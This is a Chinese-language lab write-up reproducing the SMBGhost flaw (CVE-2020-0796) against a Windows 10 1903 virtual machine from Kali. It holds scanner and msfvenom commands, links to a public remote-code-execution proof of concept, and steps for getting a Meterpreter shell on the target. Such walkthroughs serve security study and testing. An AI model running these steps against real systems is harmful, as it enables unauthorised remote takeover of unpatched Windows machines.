CVE-2020-0796漏洞复现
一、CVE-2020-0796简介
0x01 漏洞简介
CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。
漏洞危害等级:高
0x02 影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
二、实验环境
靶机:存在漏洞的win10虚拟机环境,系统镜像:
1 | ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/ |
ip地址:192.168.117.150
安装镜像后的注意事项:
- 将windows10的防火墙关掉,使能互相ping通
- 将window10的自动更新关掉,避免漏洞被打补丁
检测工具:
1 | https://github.com/dickens88/cve-2020-0796-scanner |
getshell代码:
1 | https://github.com/chompie1337/SMBGhost_RCE_PoC |
攻击机:kali
ip地址:192.168.117.132
三、复现过程
1、先用检测代码对目标主机进行扫描,发现存在漏洞
1 | python3 cve-2020-0796-scanner.py -t 192.168.117.150 |
2.使用msfvenom命令生成shellcode代码
1 | msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt |
将生成的shellcode.txt中的代码替换getshell代码中exploit.py中的USER_PAYLOAD部分
3.开启kali中的msf使用handler模块开启监听
1 | msfconsole |
4.运行修改好的漏洞利用代码:
1 | python3 exploit.py -ip 192.168.117.150 |
5.发现在msf控制台成功获得反弹shell
6.发现有乱码,使用chcp 65001显示正常
至此复现完成
四、发生的错误
- 修改后的源码有些错误需要改